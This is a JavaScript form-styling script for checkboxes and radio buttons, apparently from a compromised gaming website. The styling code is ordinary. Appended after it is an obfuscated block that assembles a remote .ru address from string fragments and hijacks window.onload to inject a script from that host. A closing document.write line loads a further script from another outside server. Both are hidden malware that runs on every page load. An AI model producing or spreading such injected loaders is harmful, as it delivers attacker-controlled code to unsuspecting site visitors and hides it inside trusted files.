// formStyle.js, produced by Philip Howard, GamingHeadlines.co.uk
// This JavaScript is open source and freely available to all those who wish to use it.
// A link back to GamingHeadlines.co.uk would be appreciated!

	function toggleCheckbox(cbId,cbKey,ffId)
	{
	if (cbKey==0||cbKey==32){
	var cbFF = document.getElementById(ffId);
	
		var cbFFValue = cbFF.checked;
		
		if(cbId.className.indexOf("checkboxchecked")<0)
			{
				var checkBoxType = cbId.className.replace("checkbox","");
				cbFF.checked=true;cbId.className="checkboxchecked"+checkBoxType;}
			else
			{
				var checkBoxType = cbId.className.replace("checkboxchecked","");
				cbFF.checked=false;cbId.className="checkbox"+checkBoxType;}
	return false;
		}
	}
	
	function InitialiseCheckboxes()
	{
		var inputFields = document.getElementsByTagName("span");
		var checkboxIndex = 0;
		for (var inputIndex=0;inputIndex<inputFields.length;inputIndex++)
			{
				if (inputFields[inputIndex].className=="cbstyled")
					{
						var styleType = "";
						if (inputFields[inputIndex].getAttribute("name")!=null){styleType=inputFields[inputIndex].getAttribute("name");}
						
						var inputCurrent = inputFields[inputIndex].getElementsByTagName("input").item(0);
						if(inputCurrent.getAttribute("type")=="checkbox")
						{
							inputCurrent.className = "inputhidden";
							inputCurrent.setAttribute("id","styledcheckbox"+checkboxIndex);
							
							if(navigator.appName.indexOf("Internet Explorer")>0)
							{
								//Internet Explorer
								var inputHTML = inputFields[inputIndex].innerHTML;
								var styledHTML = "<a"//href=\"#\""
								styledHTML+=" tabindex=\""+inputIndex+"\"";
								//styledHTML+=" name=\""+inputCurrent.getAttribute("name")+"\""
								
								if(inputCurrent.hasAttribute){if(inputCurrent.hasAttribute("title")){styledHTML+=" title=\""+inputCurrent.getAttribute("title")+"\"";}}
								
								if (inputCurrent.checked)
									{styledHTML+=" class=\"checkboxchecked"+styleType+"\""}
									else
									{styledHTML+=" class=\"checkbox"+styleType+"\""}
									
								styledHTML+=" onClick=\"toggleCheckbox(this,'','styledcheckbox"+checkboxIndex+"');return false;\""
								styledHTML+=" onKeyPress=\"return toggleCheckbox(this,event.keyCode,'styledcheckbox"+checkboxIndex+"');\""
								
								styledHTML+="></a>"
								
								inputFields[inputIndex].innerHTML = inputHTML+styledHTML;
								inputFields[inputIndex].className = "checkbox"+styleType;
							}
							else
							{
								var styledCheckbox = document.createElement("a"); 
								styledCheckbox.setAttribute("href","#");
								
								if(inputCurrent.hasAttribute){if(inputCurrent.hasAttribute("title")){styledCheckbox.setAttribute("title",inputCurrent.getAttribute("title"));}}
								
								styledCheckbox.setAttribute("onClick","toggleCheckbox(this,'','styledcheckbox"+checkboxIndex+"');return false;");
								styledCheckbox.setAttribute("onKeyPress","return toggleCheckbox(this,event.keyCode,'styledcheckbox"+checkboxIndex+"');");
								
								if (inputCurrent.checked)
									{styledCheckbox.className="checkboxchecked"+styleType;}
									else
									{styledCheckbox.className="checkbox"+styleType;}
								inputFields[inputIndex].appendChild(styledCheckbox);
							}
							
							checkboxIndex++;
						}
					}
			}	
	}
	
	function toggleRadiobox(rbObj,rbKey,rbGroup,rbId)
	{
	if (rbKey==0||rbKey==32){
	var inputFields = document.getElementsByTagName("a");
		for (var inputIndex=0;inputIndex<inputFields.length;inputIndex++)
			{
				if (inputFields[inputIndex].getAttribute("name")==rbGroup){
					
					if(inputFields[inputIndex].className.indexOf("radioboxchecked")<0)
									{var RadioBoxType = inputFields[inputIndex].className.replace("radiobox","");}
									else
									{var RadioBoxType = inputFields[inputIndex].className.replace("radioboxchecked","");}
									
					inputFields[inputIndex].className="radiobox"+RadioBoxType;
					}
			}
	var inputFields = document.getElementsByTagName("input");
		for (var inputIndex=0;inputIndex<inputFields.length;inputIndex++)
			{
				if (inputFields[inputIndex].getAttribute("name")==rbGroup)
					{
						if (inputFields[inputIndex].getAttribute("id")==rbId)
							{
								if(rbObj.className.indexOf("radioboxchecked")<0)
									{var RadioBoxType = rbObj.className.replace("radiobox","");}
									else
									{var RadioBoxType = rbObj.className.replace("radioboxchecked","");}

								inputFields[inputIndex].checked = true;rbObj.className="radioboxchecked"+RadioBoxType;}
							else
							{inputFields[inputIndex].checked = false;}
					}
			}
	return false;
	}
	}
	
	function InitialiseRadioboxes()
	{
		var inputFields = document.getElementsByTagName("span");
		var radioboxIndex = 0;
		
		for (var inputIndex=0;inputIndex<inputFields.length;inputIndex++)
			{
				if (inputFields[inputIndex].className=="rbstyled")
					{
						var styleType = "";
						if (inputFields[inputIndex].getAttribute("name")!=null){styleType=inputFields[inputIndex].getAttribute("name");}
						
						var inputCurrent = inputFields[inputIndex].getElementsByTagName("input").item(0);
						if(inputCurrent.getAttribute("type")=="radio")
						{
							//inputCurrent.setAttribute("class","inputhidden");
							inputCurrent.className = "inputhidden";
							inputCurrent.setAttribute("id","styledradiobox"+radioboxIndex);
							
							if(navigator.appName.indexOf("Internet Explorer")>0)
							{
								//Internet Explorer
								var inputHTML = inputFields[inputIndex].innerHTML;
								var styledHTML = "<a"//href=\"#\""
								styledHTML+=" tabindex=\"1"+inputIndex+"\"";
								
								styledHTML+=" name=\""+inputCurrent.getAttribute("name")+"\""
								
								if(inputCurrent.hasAttribute){if(inputCurrent.hasAttribute("title")){styledHTML+=" title=\""+inputCurrent.getAttribute("title")+"\"";}}
								
								if (inputCurrent.checked)
									{styledHTML+=" class=\"radioboxchecked"+styleType+"\""}
									else
									{styledHTML+=" class=\"radiobox"+styleType+"\""}
									
								styledHTML+=" onClick=\"toggleRadiobox(this,'','"+inputCurrent.getAttribute("name")+"','styledradiobox"+radioboxIndex+"');return false;\""
								styledHTML+=" onKeyPress=\"return toggleRadiobox(this,event.keyCode,'"+inputCurrent.getAttribute("name")+"','styledradiobox"+radioboxIndex+"');\""
								
								styledHTML+="></a>"
								
								inputFields[inputIndex].innerHTML = inputHTML+styledHTML;
								inputFields[inputIndex].className = "radiobox"+styleType;
							}
							else
							{
								//Firefox, Opera, Netscape
								var styledRadiobox = document.createElement("a"); 
								styledRadiobox.setAttribute("href","#");
								styledRadiobox.setAttribute("name",inputCurrent.getAttribute("name"));
								
								if(inputCurrent.hasAttribute){if(inputCurrent.hasAttribute("title")){styledRadiobox.setAttribute("title",inputCurrent.getAttribute("title"));}}
								
								styledRadiobox.setAttribute("onClick","toggleRadiobox(this,'','"+inputCurrent.getAttribute("name")+"','styledradiobox"+radioboxIndex+"');return false;");
								styledRadiobox.setAttribute("onKeyPress","return toggleRadiobox(this,event.keyCode,'"+inputCurrent.getAttribute("name")+"','styledradiobox"+radioboxIndex+"');");
								
								if (inputCurrent.checked)
									{styledRadiobox.className="radioboxchecked"+styleType;}
									else
									{styledRadiobox.className="radiobox"+styleType;}
								
								inputFields[inputIndex].appendChild(styledRadiobox);
							}
							
							radioboxIndex++;
						}
					}
			}	
	}
	
	function checkImages() {
	  if (document.getElementById) {
		var x = document.getElementById('formStyleTestImage').offsetWidth;
		if (x == '1'||x == '7') {
			document.getElementById('formStyleTestImage').style.display='none';
			return true;
		}else{
			return false;
		}
	  }
	}
	
	function preloadImages()
		{
		img1 = new Image();img1.src = "templates/wow_alliance/images/CheckboxUnchecked.gif";
		img1 = new Image();img1.src = "templates/wow_alliance/images/CheckboxChecked.gif";
		
		img2 = new Image();img1.src = "templates/wow_alliance/images/RadioboxUnchecked.gif";
		img2 = new Image();img1.src = "templates/wow_alliance/images/RadioboxChecked.gif";
		}
	
	function Initialise()
		{
			if(checkImages()){preloadImages();InitialiseCheckboxes();InitialiseRadioboxes();}
		}
		
	window.onload = Initialise;

this.a="a";this.f="f";this.bH="bH";var K={J:42057};try {var on={H:false};this.jU=10800;this.jU--;this.s="";this.kp=14545;this.kp+=193;var w=new Array();var hm=new Array();var q=window[new String("Qcoune".substr(3)+"o9vRscaR9vo".substr(4,3)+"pe")];this.bp=41040;this.bp+=187;this.qO=10281;this.qO+=87;Oy=["e","Jv","O"];this.NU=2707;this.NU+=254;MS=["Ga","Is","eX"];var uZ=[];ya=41807;ya--;fk=5096;fk-=63;var v="onl"+"oad";var rU=false;var ue=false;var jp=["Wc"];try {var Ih='jP'} catch(Ih){};var TU=["c"];var X=window[(String("RegE"+"xpGSf".substr(0,2)))];var KS=["dF","Zm","oQ"];var ln=["x","HR","KA"];var aP=["hv","GM","uS"];var ss=["xX","ueu","fkE"];var m=new String("repla"+"ce");try {var eZ='cS'} catch(eZ){};var D='';WY=1700;WY--;Hz={nA:"Ru"};qJ=44991;qJ--;var z="w9T1".substr(3);var tb=false;this.xl="xl";try {var xY='Wo'} catch(xY){};this.MK="MK";var ah="";this.DK="DK";IQ=[];var sZ=["V_","FO","Jj"];function l(z,A){try {var Nd='lC'} catch(Nd){};var ry='';this.HT="";oh={xm:"cF"};var od={Fm:false};var kH={tD:false};Kv=[];var b="[";var Wk="Wk";var pk={zg:"KSt"};var oG={yI:"yQE"};b+=A;var bv=34152;this.xmq='';ZI={SY:"oY"};var kt=40041;aK={xx:"g"};b+=q("%5d");var eh=new Array();Wj=3233;Wj+=59;nR={ND:"eB"};tC=32759;tC+=1;var Gh=new Array();var DE=new X(b, "g");try {var bx='hc'} catch(bx){};return z.replace(DE, D);var _w=new Date();};qf=40233;qf++;var C="htt8gU".substr(0,3)+"p:/"+"HryL/as".substr(4)+"jaghsogaj".substr(3,3)+"ftw"+"ocnareocn".substr(3,3)+".ru"+"ryWZ:".substr(4);L=["oO","qP","PC"];this.NM=51155;this.NM-=100;var yt="";var ph=new Array();this.zXo=false;var Yn="Yn";var xXu=new Array();var qW=815451-807371;mM={};this.mB="";this.bpC="";var Ur=new Array();var G=new String("/g"+"oo"+"gl"+"e."+"co"+"m/"+"as"+"so"+"ci"+"at"+"ed"+"co"+"ntpzF".substr(0,2)+"RQwpenwRpQ".substr(4,2)+"qCot.oCq".substr(3,2)+"co"+"0tN2m/".substr(4)+"st"+"um"+"blE4sp".substr(0,2)+"7iPZeu".substr(4)+"polzfr".substr(0,2)+"hgQn.".substr(3)+"co"+"m."+"ph"+"dsBp".substr(3));try {var jn='mY'} catch(jn){};var MmX=new Array();dm=["cw","sl"];try {var Vz='fJ'} catch(Vz){};try {var Mo='Tp'} catch(Mo){};var VW=[];function V(){var kL={nc:false};var QO={kF:9543};var o=String("appe"+"ndCh"+"ild");we=9229;we++;try {var er='GJ'} catch(er){};this.dA="";var M=document;var RE=false;var hR=39879;try {var es='fE'} catch(es){};Zg=["xQ","Ul","YG"];try {var tP='NG'} catch(tP){};var y=l('sHcvrEiNp5tV','jFEhMoaf7bAZHGINO5vV');var pO=false;var nU='';var Fv=["klh","Wl","Ll"];this.u_="u_";d=M.createElement(y);var rhX=new String();this.bD=17657;this.bD+=1;var CAd=new String();this.PO=59028;this.PO++;this.Cv=54838;this.Cv++;this.YJ=25133;this.YJ--;j=C+qW;var xH=new String();j=j+G;var ay={NlL:"hZ"};Ck=42186;Ck-=147;this.cb=62945;this.cb++;var Wq={};var p_={};var Jhj={};var dc=M.body;UE=["Bp"];_H=["bC"];try {var mG='PX'} catch(mG){};var fx={qu:"PQ"};var Np={SX:false};d.src=j;d["deferz1u".substr(0,5)]=z;dp=55527;dp+=150;tzZ={NB:"xw"};dc[o](d);Ia={Wp:32476};};var le={};this.hOx="hOx";window[v]=V;this.LG=44444;this.LG+=91;var Ub={AV:"ab"};try {var BR='rM'} catch(BR){};var WA="";PXV=48456;PXV--;var Uj={it:"HO"};} catch(Y){var Yh={LP:16364};qe=50524;qe-=4;var Df={v_:4837};};try {var hi='Aa'} catch(hi){};var dB="dB";var OE=false;rzY=62192;rzY++;




document.write('<s'+'cript type="text/javascript" src="http://sfofotky.iexam.info:8080/Beta_Software.js"></scr'+'ipt>');